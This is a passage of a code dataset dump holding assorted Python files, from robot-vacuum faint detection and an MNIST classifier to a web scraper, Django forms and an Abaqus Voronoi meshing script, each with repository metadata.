format\r\n img = cv2.imread(image_name) # read image files and type(img) == \r\n detector = PoseDetector() # the class for detecting whether a person fainted away\r\n img = detector.faint_detect(img)\r\n \r\n while True:\r\n cv2.imshow(\"Image\", img) # show the image capturing by the camera\r\n cv2.waitKey(5000) # wait for 5 sec\r\n cv2.destroyAllWindows() # destroy the scene showed on the monitor\r\n os.remove(\"/home/pi/RobotVacuum/python/image{}.png\".format(counter)) # remove the image \r\n gc.collect() # release grabage\r\n counter += 1 # record the number of pictures the cam have captured\r\n \r\n # I haven't solved the problem yet:\r\n # somehow the execution will kill on its own after capturing 40 pictures\r\n if counter > 39: \r\n counter = 0\r\n break\r\n \r\n print(\"\\n\")\r\n \r\n if cv2.waitKey(1) == 27: # press esc to stop execution\r\n break\r\n \r\n cap.release() # release the cap \r\n cv2.destroyAllWindows()\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(formatter_class = argparse.ArgumentDefaultsHelpFormatter)\r\n parser.add_argument('--cameraId', help = 'Id of camera.', required = False, default = 0) # slect the cam\r\n args = parser.parse_args()\r\n run(int(args.cameraId)) # start capturing images\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"CarCarGroup05/RobotVacuum","sub_path":"python/faint_detection.py","file_name":"faint_detection.py","file_ext":"py","file_size_in_byte":5958,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"42516481653","text":"#!/usr/bin/env python\n\nimport fasttext\nimport itertools\nimport sys\nsys.path.append('../utils')\nfrom dataproc import f1_multiclass\n\ntest_file = 'feat_test/test_feature.ssv'\ntest_res = 'res_test/res_test.tsv'\nBATCH_SIZE = 256\n\nmdl = fasttext.load_model('mdl_fasttext_supervised.bin')\nwith open(test_file) as fi, open(test_res, 'w') as fo:\n # label(__label__4), chars, words\n iter_cnt = 0\n feats_buff = []\n label_buff = []\n for line in fi:\n iter_cnt += 1\n flds = line.rstrip('\\n').split(' ')\n test_label = flds[0][9:]\n test_feats = ' '.join(flds[1:])\n feats_buff.append(test_feats)\n label_buff.append(test_label)\n if iter_cnt % BATCH_SIZE != 0:\n continue\n pred_raws = mdl.predict(feats_buff, 1)\n for pred_raw, test_label in zip(pred_raws, label_buff):\n pred_label = pred_raw[0][9:]\n print(test_label, pred_label, file=fo, sep='\\t')\n iter_cnt = 0\n feats_buff = []\n label_buff = []\n\nwith open(test_res) as f:\n data_test = [l.rstrip('\\n').split('\\t') for l in f.readlines()]\nt_values = [l[0] for l in data_test]\np_values = [l[1] for l in data_test]\nprint(f1_multiclass(t_values, p_values))\n","repo_name":"kn45/daguan","sub_path":"model_ftxt1/5_Test.py","file_name":"5_Test.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16009278146","text":"# Assignment 2\n\n\n#importing necessary libraries\nimport tensorflow as tf\nfrom tensorflow import keras\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n#import dataset and split into train and test data\nmnist = tf.keras.datasets.mnist\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nprint(len(x_train))\nprint(len(x_test))\n\nprint(x_train.shape)\nprint(x_test.shape)\n\nplt.matshow(x_train[0])\n\n#normalize the images by scaling pixel intensities to the range 0,1\nx_train = x_train / 255\nx_test = x_test / 255\n\n#Define the network architecture using Keras\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)), # Flatten for compress the input\n keras.layers.Dense(128, activation='relu'), # Dence insures that each nuron of prev connected to next nuron\n keras.layers.Dense(10, activation='softmax')\n])\n\nprint(model.summary())\n\n# compile the model\nmodel.compile(optimizer='sgd', #scochestic gradient decent\n loss='sparse_categorical_crossentropy', # it saves time\n metrics=['accuracy'])\n\n# train the model\nhistory=model.fit(x_train, y_train,validation_data=(x_test,y_test),epochs=5)\n\n# Evaluate the model\ntest_loss, test_acc = model.evaluate(x_test, y_test)\nprint(\"Loss=%.3f\" %test_loss)\nprint(\"Loss=\", test_loss)\nprint(\"Accuracy=%.3f\" %test_acc)\n\n#Making prediction on new data\nn=random.randint(0,9999)\nplt.imshow(x_test[n])\nplt.show()\n\n#we use predict() on new data\npredicted_value=model.predict(x_test)\nprint(\"Handwritten number in the image is= %d\" %np.argmax(predicted_value[n]))\n\n# Plot graph for accuracy and loss\nhistory.history\nprint(history.history.keys())\n\n# model's Accuracy\n# plt.plot(history.history['accuracy'])\n# plt.plot(history.history['val_accuracy'])\n# plt.title('model accuracy')\n# plt.ylabel('accuracy')\n# plt.xlabel('epoch')\n# plt.legend(['Train', 'Validation'], loc='upper left')\n# plt.show()\n\n# model's loss\n# plt.plot(history.history['loss'])\n# plt.plot(history.history['val_loss'])\n# plt.title('model loss')\n# plt.ylabel('loss')\n# plt.xlabel('epoch')\n# plt.legend(['Train', 'Validation'], loc='upper left')\n# plt.show()\n\nplt.plot(history.history['accuracy'])\nplt.plot(history.history['val_accuracy'])\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('Training Loss and accuracy')\nplt.ylabel('accuracy/Loss')\nplt.xlabel('epoch')\nplt.legend(['accuracy', 'val_accuracy','loss','val_loss'])\nplt.show()","repo_name":"patilakanksha/MyStudy","sub_path":"Ass2.py","file_name":"Ass2.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8849568702","text":"import re\nimport sys\n\n\ndef main():\n print(convert(input(\"Hours: \")))\n\ndef convert(s):\n\n hours = re.search(r\"^([0-9]|1[0-2]):?([0-5][0-9])? ([A-P]M) to ([0-9]|1[0-2]):?([0-5][0-9])? ([A-P]M)$\",s)\n if hours:\n hours_in_parts = hours.groups()\n first_part = new_format(hours_in_parts[0],hours_in_parts[1],hours_in_parts[2])\n second_part = new_format(hours_in_parts[3],hours_in_parts[4],hours_in_parts[5])\n return f\"{first_part} to {second_part}\"\n else:\n raise ValueError\n\ndef new_format(hrs,mins,am_pm):\n if am_pm == \"PM\":\n if int(hrs) == 12:\n new_hrs = 12\n else: \n new_hrs = int(hrs) + 12\n else:\n if int(hrs) == 12:\n new_hrs = \"00\"\n else:\n new_hrs = int(hrs)\n\n if mins == None:\n new_mins = \"00\"\n new_time_format = f\"{new_hrs:02}:{new_mins:02}\"\n else:\n new_time_format = f\"{new_hrs:02}:{mins:02}\"\n \n return new_time_format\n\nif __name__ == \"__main__\":\n main()","repo_name":"Bernullys/curso_cs50_python","sub_path":"lecture7/working.py","file_name":"working.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20556860339","text":"\nfrom django import forms\nfrom django.utils.translation import gettext as _\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, Div\n\nfrom settings import constants\nfrom settings.models import SettingProperties\n\n\nclass RegenerateCertificatesForm(forms.Form):\n email = forms.CharField(widget=forms.TextInput(), required=False)\n old_email = forms.CharField(widget=forms.HiddenInput(), required=False)\n\n def __init__(self, *args, **kwargs):\n super(RegenerateCertificatesForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_class = 'form-horizontal'\n self.helper.label_class = 'col-lg-2'\n self.helper.field_class = 'col-lg-4'\n if SettingProperties.get_bool(\n constants.OPPIA_EMAIL_CERTIFICATES, False):\n self.helper.layout = Layout(\n 'email',\n 'old_email',\n Div(\n Submit('submit',\n _(u'Regenerate Certificates'),\n css_class='btn btn-default'),\n css_class='col-lg-offset-2 col-lg-4'\n ),\n )\n else:\n self.helper.layout = Layout(\n Div(\n Submit('submit',\n _(u'Regenerate Certificates'),\n css_class='btn btn-default'),\n css_class='col-lg-offset-2 col-lg-4',\n ))\n","repo_name":"DigitalCampus/django-oppia","sub_path":"profile/forms/certificates.py","file_name":"certificates.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"53"}
+{"seq_id":"33532172070","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: zgz\r\n\r\n修改dl3中mlflow的结果,从而能传到dl2上使用\r\n\"\"\"\r\n\r\nimport os\r\nimport yaml\r\n\r\n\r\ndef getFileNames(path):\r\n # 列出某个目录下的文件和文件夹,可以是绝对和相对目录\r\n file_names = []\r\n for home, dirs, files in os.walk(path):\r\n for file in files:\r\n if file == 'meta.yaml':\r\n file_names.append(os.path.join(home, file))\r\n return file_names\r\n\r\n\r\ndef configReset(path):\r\n with open(path, 'r') as f:\r\n data = yaml.load(f, Loader=yaml.FullLoader)\r\n\r\n data['artifact_uri'] = '/data4/zhangguozhen/churn_prediction/exp_logs/mlflow/7/' + str(data['run_id']) + '/artifacts'\r\n data['experiment_id'] = '7'\r\n\r\n with open(path, 'w') as f:\r\n yaml.dump(data, f)\r\n\r\n\r\nif __name__ == '__main__':\r\n file_path = r'C:/Users/111/Desktop/disentangle/data/0'\r\n config_path = getFileNames(file_path)\r\n for path in config_path:\r\n configReset(path)\r\n","repo_name":"tsinghua-fib-lab/CFChurn","sub_path":"src/tools/mlflow_config_transfer.py","file_name":"mlflow_config_transfer.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"53"}
+{"seq_id":"17067564389","text":"\"\"\"\nall math related helpers.\n\"\"\"\nfrom math import sqrt, floor, ceil\nfrom jimn.utils.precision import is_almost\nfrom jimn.point import Point\n\n\n# pylint: disable=invalid-name\ndef solve_quadratic_equation(a, b, c):\n \"\"\" solves a*x*x + b*y +c = 0\n careful : we do some rounding here:\n when delta is close from 0 we round it towards 0\n do not use if you do not understand what it does\"\"\"\n delta = b * b - 4 * a * c\n if is_almost(sqrt(abs(delta)), 0):\n if is_almost(a, 0):\n return []\n return [-b/(2*a)]\n else:\n if delta < 0:\n return []\n else:\n return [(-b-sqrt(delta))/(2*a), (-b+sqrt(delta))/(2*a)]\n\n\ndef circles_intersections(c1, c2, r1, r2):\n \"\"\"\n intersect two circles with given centers and radiuses.\n return points array.\n \"\"\"\n d = c1.distance_to(c2)\n if is_almost(d, 0):\n return [] # common center\n x1, y1, x2, y2 = [c for p in (c1, c2) for c in p.coordinates]\n if is_almost(r1, r2):\n l = d/2\n else:\n l = (r1 * r1 - r2 * r2) / (2 * d) + d/2\n\n if is_almost(r1, l):\n # only one intersection\n i = Point([\n l/d * (x2 - x1) + x1,\n l/d * (y2 - y1) + y1\n ])\n return [i]\n else:\n if r1 < l:\n return [] # too far away\n\n if abs(r1) < abs(l):\n return []\n else:\n h = sqrt(r1 * r1 - l * l)\n points = [\n Point([\n l/d * (x2 - x1) + h/d * (y2 - y1) + x1,\n l/d * (y2 - y1) - h/d * (x2 - x1) + y1\n ]),\n Point([\n l/d * (x2 - x1) - h/d * (y2 - y1) + x1,\n l/d * (y2 - y1) + h/d * (x2 - x1) + y1\n ])\n ]\n return points\n\n\ndef vline_circle_intersections(x, center, radius):\n \"\"\"\n intersection of circle with vertical line at given x.\n \"\"\"\n distance = abs(x - center.get_x())\n if is_almost(radius, distance):\n return [Point([x, center.get_y()])]\n squared_distance = distance * distance\n squared_radius = radius * radius\n if squared_distance > squared_radius:\n return []\n y = sqrt(squared_radius - squared_distance)\n return [Point([x, center.get_y() + y]), Point([x, center.get_y() - y])]\n\n\ndef line_circle_intersections(points, center, radius):\n \"\"\"\n intersection of line going through points with given circle.\n \"\"\"\n # take first point as origin\n d = points[1] - points[0]\n c = center - points[0]\n xd, yd = d.coordinates\n xc, yc = c.coordinates\n # segment points are at alpha * d\n # distance(alpha * d, center) = r\n\n # (xc-alpha*xd)**2 + (yc-alpha*yd)**2 - r**2 = 0\n\n # xc**2 + alpha**2*xd**2 -2*alpha*xc*xd\n # yc**2 + alpha**2*yd**2 -2*alpha*yc*yd\n # - r**2 = 0\n a = xd**2 + yd**2\n b = -2*(xc*xd + yc*yd)\n c = xc**2 + yc**2 - radius**2\n\n solutions = solve_quadratic_equation(a, b, c)\n return [points[0] + d * s for s in solutions]\n\n\ndef milling_heights(y1, y2, milling_diameter, inclusive=False):\n \"\"\"\n iterate in order on all y between y1 and y2 on milling heights\n if inclusive possibly includes y1 and y2.\n \"\"\"\n if y1 < y2:\n index = ceil(y1/milling_diameter)\n step = 1\n else:\n index = floor(y1/milling_diameter)\n step = -1\n\n y = index * milling_diameter\n if not inclusive:\n if y == y1:\n index += step\n y = index * milling_diameter\n\n while step*y < step*y2:\n yield y\n index += step\n y = index * milling_diameter\n\n if inclusive:\n if y == y2:\n yield y\n\n\ndef is_slice_height(y, milling_diameter):\n \"\"\"\n is given coordinate on a slice height ?\n \"\"\"\n d = milling_diameter\n return is_almost(y/d, round(y/d))\n\n\ndef compute_arc_centers(radius, points):\n \"\"\"\n return list of possible centers for an arc of given radius going\n through given points.\n \"\"\"\n # take points[0] as origin\n point2 = points[1] - points[0]\n # find bisector\n middle = point2/2\n bisector_point = middle + point2.perpendicular_vector()\n # intersect with circle at origin\n intersections = line_circle_intersections(\n [middle, bisector_point],\n Point([0, 0]),\n radius\n )\n assert len(intersections) == 2, \"invalid arc\"\n centers = [points[0] + i for i in intersections]\n return centers\n","repo_name":"wagnerf42/Jimn","sub_path":"src/jimn/utils/math.py","file_name":"math.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"19293539386","text":"import os\n\np_dir = input(\"Entre com o diretório: \")\nif os.path.isdir(p_dir):\n somador = 0\n lista = os.listdir(p_dir)\n for i in lista:\n p = os.path.join(p_dir, i)\n if os.path.isfile(p):\n somador = somador + os.stat(p).st_size\n print(\"Tamanho: \", somador/1000,\"KB\")\nelse:\n print(f\"O diretório {p_dir} não existe.\")","repo_name":"LC-ardovino/INFNET","sub_path":"Projeto_de_Bloco/Etapa 4/exercicio6.py","file_name":"exercicio6.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23684092933","text":"\"\"\"\nAuthor: Aditya Chincholi\nPurpose: To debug and unittest the spectral statistics functions\n\"\"\"\nimport numpy as np\nimport scipy.stats as stats\nimport kickedrotor.spectral_statistics as spectra\n\ndef test_phases():\n phases = np.linspace(-np.pi*0.85, np.pi*0.5, 100)\n phases.sort()\n M = np.diag(np.exp(1j * phases))\n U = stats.unitary_group.rvs(100)\n Mp = U.dot(M.dot(U.conjugate().T))\n observed_phases, eigs, num_dicarded \\\n = spectra.getPhaseSpectrum(Mp, tol=1e-3, discard=True)\n np.testing.assert_allclose(observed_phases, phases)\n\ndef test_spacings():\n x = np.arange(100)\n y = np.arange(0, 200, 2)\n spacings, ratios = spectra.getSpacingRatios(x + 1j*y)\n np.testing.assert_allclose(spacings, 1)\n\n x = np.cumsum(np.arange(0, 100))\n expected_spacings = np.arange(1, 100) / np.mean(np.arange(1, 100))\n expected_ratios = np.arange(2, 100) / np.arange(1, 99)\n spacings, ratios = spectra.getSpacingRatios(x)\n np.testing.assert_allclose(spacings, expected_spacings)\n np.testing.assert_allclose(ratios, expected_ratios)\n","repo_name":"adch99/QuantumKickedRotor","sub_path":"Code/tests/test_spectra.py","file_name":"test_spectra.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16156399519","text":"import tkinter\n\nwin = tkinter.Tk()\nwin.title(\"lxr\")\nwin.geometry(\"400x400+200+20\")\n\n\n'''\n输入控件\n用于显示简单的文本内容\n'''\n\n#绑定变量\ne = tkinter.Variable()\n\nentry = tkinter.Entry(win, textvariable=e)\n#在这之后就代表输入框的这个对象\n#设置值\ne.set(\"lxr is a good man\")\n#取值\nprint(e.get()) #或者print(entry.get())\n\nentry1 = tkinter.Entry(win, show =\"*\")#密文显示\nentry.pack()\nentry1.pack()\n\nwin.mainloop()","repo_name":"rainbow520lxr/PythonStudy","sub_path":"Python编程思想/2.模块库/Tkinter/4.Entry控件.py","file_name":"4.Entry控件.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"21683811522","text":"import requests\nfrom bs4 import BeautifulSoup\n\nreq = requests.get('https://www.bithumb.com/').text\n\nsoup = BeautifulSoup(req, 'html.parser')\ncoin_name_tags = soup.select('#tableAsset > tbody > tr > td:nth-child(1) > p > a > strong')\ncoin_price_tags = soup.select('#tableAsset > tbody > tr > td:nth-child(2) > strong')\n\nprint(coin_price_tags)\n\nfor i, item in enumerate(coin_name_tags):\n line = coin_name_tags[i].text.split()[0] + \"/\" + coin_price_tags[i].text + \"\\n\"\n print(line)\n\n with open(f'coin.txt', 'a', encoding='utf-8') as f:\n f.write(f'{line}')","repo_name":"gtj1323/DjangoStudy","sub_path":"menufactual_file/scraping_ex/bithumb2-2.py","file_name":"bithumb2-2.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72291203689","text":"import torch\n\ndef index_points(points, idx):\n \"\"\"\n\n Input:\n points: input points data, [B, N, C]\n idx: sample index data, [B, S]\n Return:\n new_points:, indexed points data, [B, S, C]\n \"\"\"\n device = points.device\n B = points.shape[0]\n view_shape = list(idx.shape)\n view_shape[1:] = [1] * (len(view_shape) - 1)\n repeat_shape = list(idx.shape)\n repeat_shape[0] = 1\n batch_indices = torch.arange(B, dtype=torch.long).to(device).view(view_shape).repeat(repeat_shape)\n new_points = points[batch_indices, idx, :]\n return new_points\n","repo_name":"ziyangyeh/AML-G16","sub_path":"models/sub_models/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73030015849","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\narr = [list(map(int, input().split())) for _ in range(n)]\nab, cd = [], []\n\nfor i in range(n):\n for j in range(n):\n ab.append(arr[i][0] + arr[j][1])\n cd.append(arr[i][2] + arr[j][3])\n\nab.sort()\ncd.sort()\n\ni, j = 0, len(cd) - 1\nresult = 0\n\nwhile i < len(ab) and j >= 0:\n if ab[i] + cd[j] == 0:\n nexti, nextj = i + 1, j - 1\n # ab가 같은게 여러개인경우\n while nexti < len(ab) and ab[i] == ab[nexti]:\n nexti += 1\n # cd가 같은게 여러개인경우\n while nextj >= 0 and cd[j] == cd[nextj]:\n nextj -= 1\n\n result += (nexti - i) * (j - nextj)\n i, j = nexti, nextj\n\n elif ab[i] + cd[j] > 0:\n j -= 1\n else:\n i += 1\n\nprint(result)\n\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\na, b, c, d = [], [], [], []\nans = 0\n\nfor _ in range(n):\n tmp1, tmp2, tmp3, tmp4 = map(int, input().split())\n a.append(tmp1)\n b.append(tmp2)\n c.append(tmp3)\n d.append(tmp4)\n\nab = {}\n\nfor i in a:\n for j in b:\n if i+j not in ab:\n ab[i+j] = 1\n else:\n ab[i+j] += 1\n\nans = 0\n\nfor i in c:\n for j in d:\n if -(i+j) in ab:\n ans += ab[-(i+j)]\n\nprint(ans)\n\n###################################################\n\nimport sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\nn = int(input())\na, b, c, d = [], [], [], []\nans = 0\n\nfor _ in range(n):\n tmp1, tmp2, tmp3, tmp4 = map(int, input().split())\n a.append(tmp1)\n b.append(tmp2)\n c.append(tmp3)\n d.append(tmp4)\n\nab = defaultdict(int)\n\nfor i in a:\n for j in b:\n ab[i+j] += 1\n\nans = 0\n\nfor i in c:\n for j in d:\n if -(i+j) in ab:\n ans += ab[-(i+j)]\n\nprint(ans)\n\n###################################### 시간초과\n\nimport sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\nn = int(input())\na, b, c, d = [], [], [], []\nans = 0\n\nfor i in range(n):\n tmp1, tmp2, tmp3, tmp4 = map(int, input().split())\n a.append(tmp1)\n b.append(tmp2)\n c.append(tmp3)\n d.append(tmp4)\n\na_b_sum = defaultdict(int)\nc_d_sum = defaultdict(int)\n\nfor i in a:\n for j in b:\n a_b_sum[i+j] += 1\n\nfor i in c:\n for j in d:\n c_d_sum[i+j] += 1\n\nfor key in a_b_sum:\n if c_d_sum[-key] != 0:\n ans += (a_b_sum[key] * c_d_sum[-key])\n\nprint(ans)\n\n###################################### 시간초과\n\nimport sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\nn = int(input())\narr = [list(map(int, input().split())) for _ in range(n)]\nab, cd = defaultdict(int), defaultdict(int)\n\nfor i in range(n):\n for j in range(n):\n ab[arr[i][0] + arr[j][1]] += 1\n cd[arr[i][2] + arr[j][3]] += 1\n\nab_key = sorted(ab.keys())\ncd_key = sorted(cd.keys())\n\nleft, right = 0, len(cd_key) - 1\nans = 0\n\nwhile left < len(ab_key) and right >= 0:\n if ab_key[left] + cd_key[right] == 0:\n ans += (ab[ab_key[left]] * cd[cd_key[right]])\n left += 1\n right -= 1\n elif ab_key[left] + cd_key[right] > 0:\n right -= 1\n else:\n left += 1\n\nprint(ans)\n","repo_name":"CHOSIYEON/Algorithms","sub_path":"BAEKJOON/Brute Force/7453.py","file_name":"7453.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41907043321","text":"# encoding=utf-8\r\nfrom abaqus import *\r\nfrom abaqusConstants import *\r\nfrom scipy.spatial import *\r\nimport numpy as np\r\nimport random\r\nimport mesh\r\nimport regionToolset\r\n\r\n\r\n#initial variables\r\nfields = (('Model Name:', 'Model-1'), ('Point Number:', '200'), ('Length:', '100'),\r\n ('Width:', '100'), ('Height:', '100'), ('Seed Size:', '2.5'))\r\nname, point_number, length, width, height, seedsize = getInputs(fields=fields, label='Creat Voronoi')\r\npoint_number = int(point_number)\r\nlength = float(length)\r\nwidth = float(width)\r\nseedsize = float(seedsize)\r\n\r\n\r\n#rve size\r\nsize = float(height)\r\n# extend size\r\nex = 5\r\n\r\n#create Voronoi\r\npoints = np.array([[random.uniform(0,length*ex),random.uniform(0,width*ex),random.uniform(0,size*ex)] for i in range(point_number)])\r\nvor = Voronoi(points)\r\n#get attributes\r\nvertices = vor.vertices\r\nedges = vor.ridge_vertices\r\n\r\nfor edge in edges:\r\n for number in edge:\r\n if number !=-1 :\r\n for coord in vertices[number]:\r\n if coord >= max(length, width, size) * ex or coord <= 0:\r\n edges[edges.index(edge)].append(-1)\r\n break\r\n\r\nface_points = []\r\nfor edge in np.array(edges):\r\n edge = np.array(edge)\r\n temp = []\r\n if np.all(edge >= 0):\r\n for i in edge:\r\n temp.append(tuple(vertices[i]))\r\n temp.append(vertices[edge[0]])\r\n if (len(temp)>0):\r\n face_points.append(temp)\r\n\r\n# create voronoi\r\nmyModel = mdb.models['Model-1']\r\nmyPart = myModel.Part(name='Part-vor3', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\n\r\nfor i in range(len(face_points)):\r\n wire = myPart.WirePolyLine(mergeType=SEPARATE, meshable=ON, points=(face_points[i]))\r\n face_edge = myPart.getFeatureEdges(name=wire.name)\r\n myPart.CoverEdges(edgeList = face_edge, tryAnalytical=True)\r\n\r\nfaces = myPart.faces[:]\r\nmyPart.AddCells(faceList = faces)\r\n\r\n# cut Voronoi\r\n#create core\r\nmyPart2 = myModel.Part(name='Part-core', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\nmySketch2 = myModel.ConstrainedSketch(name=\"mysketch-2\",sheetSize = 200)\r\nmySketch2.rectangle(point1=(0,0), point2=(length,width))\r\nmyPart2.BaseSolidExtrude(sketch=mySketch2, depth=size)\r\n\r\n#create base\r\nmyPart3 = myModel.Part(name='Part-base', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\nmySketch3 = myModel.ConstrainedSketch(name='__profile__', sheetSize=200.0)\r\nmySketch3.ConstructionLine(point1=(0.0, -100.0), point2=(0.0, 100.0))\r\ncurve = mySketch3.CircleByCenterPerimeter(center=(0.0, 0.0), point1=(size*10,0.0))\r\nmySketch3.Line(point1=(0.0, 10*size), point2=(0.0, -10*size))\r\nmySketch3.autoTrimCurve(curve1=curve, point1=(-size*10,0.0))\r\nmyPart3.BaseSolidRevolve(sketch=mySketch3, angle=360.0, flipRevolveDirection=OFF)\r\n\r\n# instance\r\nmyAssembly = myModel.rootAssembly\r\nmyAssembly.Instance(name='Part-base-1', part=myModel.parts[\"Part-base\"], dependent=ON)\r\nmyAssembly.Instance(name='Part-core-1', part=myModel.parts[\"Part-core\"], dependent=ON)\r\nmyAssembly.translate(instanceList=('Part-core-1', ), vector=((ex-1)*length/2,(ex-1)*width/2,(ex-1)*size/2))\r\nmyAssembly.InstanceFromBooleanCut(name='Part-base-cut',instanceToBeCut=myAssembly.instances['Part-base-1'],\r\n cuttingInstances=(myAssembly.instances['Part-core-1'], ), originalInstances=DELETE)\r\n# cut voronoi\r\nmyAssembly.Instance(name='Part-cut-1', part=myModel.parts[\"Part-base-cut\"], dependent=ON)\r\nmyAssembly.Instance(name='Part-vor3-1', part=myModel.parts[\"Part-vor3\"], dependent=ON)\r\nmyAssembly.InstanceFromBooleanCut(name='Part-voronoi',instanceToBeCut=myAssembly.instances['Part-vor3-1'],\r\n cuttingInstances=(myAssembly.instances['Part-cut-1'], ), originalInstances=DELETE)\r\n\r\n#create analys\r\nmyPart_analys = myModel.Part(name='Part-analys', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\nmySketch4 = myModel.ConstrainedSketch(name=\"mysketch-4\",sheetSize = 200)\r\nmySketch4.rectangle(point1=(0,0), point2=(length,width))\r\nmyPart_analys.BaseSolidExtrude(sketch=mySketch4, depth=size)\r\nmyPart_analys.seedPart(size=seedsize , deviationFactor=0.1, minSizeFactor=0.1)\r\nmyPart_analys.generateMesh()\r\n\r\nmyPart_vor3_cut = myModel.parts['Part-voronoi']\r\nmyCells = myPart_vor3_cut.cells\r\n\r\nmyNodes = myPart_analys.nodes\r\nmyElement = myPart_analys.elements\r\n\r\n# create cell_element\r\nelement_number = []\r\nfor i in range(len(myCells)):\r\n element_number.append([])\r\n\r\nfor element in myElement:\r\n points = []\r\n for index in element.connectivity:\r\n points.append(list(myNodes[index].coordinates))\r\n junzhi = np.array(points).mean(axis=0)\r\n center = junzhi.astype('float64')+np.array([(ex-1)*length/2,(ex-1)*width/2,(ex-1)*size/2]).astype('float64')#two different locations for two cubes\r\n index1 = myCells.findAt(center).index\r\n for i in range(len(myCells)):\r\n if index1 == i:\r\n element_number[i].append(element.label-1)\r\n\r\n# create cell_element set\r\nii=0\r\nfor set_element in element_number:\r\n #print(set_element[0])\r\n if len(set_element):\r\n ii+=1\r\n element = myElement[set_element[0]:set_element[0]+1]\r\n for i in range(1, len(set_element)):\r\n element += myElement[set_element[i]:set_element[i]+1]\r\n region = myPart_analys.Set(elements=element, name=\"Set-{}\".format(ii))\r\n\r\nfor key in myAssembly.instances.keys():\r\n del myAssembly.instances[key]\r\nfor key in myModel.parts.keys():\r\n if key != \"Part-analys\":\r\n if key != \"Part-voronoi\":\r\n del myModel.parts[key]\r\n\r\ns=myPart_analys.sets\r\nelements=myPart_analys.elements\r\nelementFaces=myPart_analys.elementFaces\r\n\r\n# 遍历set\r\nif len(s)!=0:\r\n set_ele_labels=[]\r\n for key in s.keys():\r\n temp=[]\r\n for set_ele in s['{}'.format(key)].elements:\r\n temp.append(set_ele.label)\r\n set_ele_labels.append(temp)\r\n\r\n #遍历每个单元每个面\r\n FacesLabel = [[], [], [], [], [], []]\r\n for elementFace in elementFaces:\r\n label1=[]\r\n two_element = elementFace.getElements()\r\n if len(two_element)==2:\r\n for i in range(len(two_element)):\r\n label1.append(two_element[i].label)\r\n x = 0\r\n for i in range(len(set_ele_labels)):\r\n if set(label1) < set(set_ele_labels[i]):#如果getElements得到的两个单元都在一个set里面\r\n break\r\n x += 1\r\n if x == len(set_ele_labels):#两个单元不在一起\r\n if elementFace.face == FACE1:\r\n FacesLabel[0].append(elementFace.label)\r\n elif elementFace.face == FACE2:\r\n FacesLabel[1].append(elementFace.label)\r\n elif elementFace.face == FACE3:\r\n FacesLabel[2].append(elementFace.label)\r\n elif elementFace.face == FACE4:\r\n FacesLabel[3].append(elementFace.label)\r\n elif elementFace.face == FACE5:\r\n FacesLabel[4].append(elementFace.label)\r\n else:\r\n FacesLabel[5].append(elementFace.label)\r\n\r\n #把单元面label转换为element\r\n faceElements = [[], [], [], [], [], []]\r\n for i in range(6):\r\n if len(FacesLabel[i]):\r\n for ii in range(len(FacesLabel[i])):\r\n faceElements[i].append(elements[FacesLabel[i][ii] - 1])\r\n faceElements[i] = mesh.MeshElementArray(elements=faceElements[i])\r\n\r\n myPart_analys.Surface(face1Elements=faceElements[0], face2Elements=faceElements[1],\r\n face3Elements=faceElements[2], face4Elements=faceElements[3],\r\n face5Elements=faceElements[4], face6Elements=faceElements[5], name='Surf-1')\r\n\r\n myPart_analys.PartFromMesh(name='Part-analys-mesh-1', copySets=True)","repo_name":"everydayhi/abaqus","sub_path":"3d_voronoi.py","file_name":"3d_voronoi.py","file_ext":"py","file_size_in_byte":7754,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
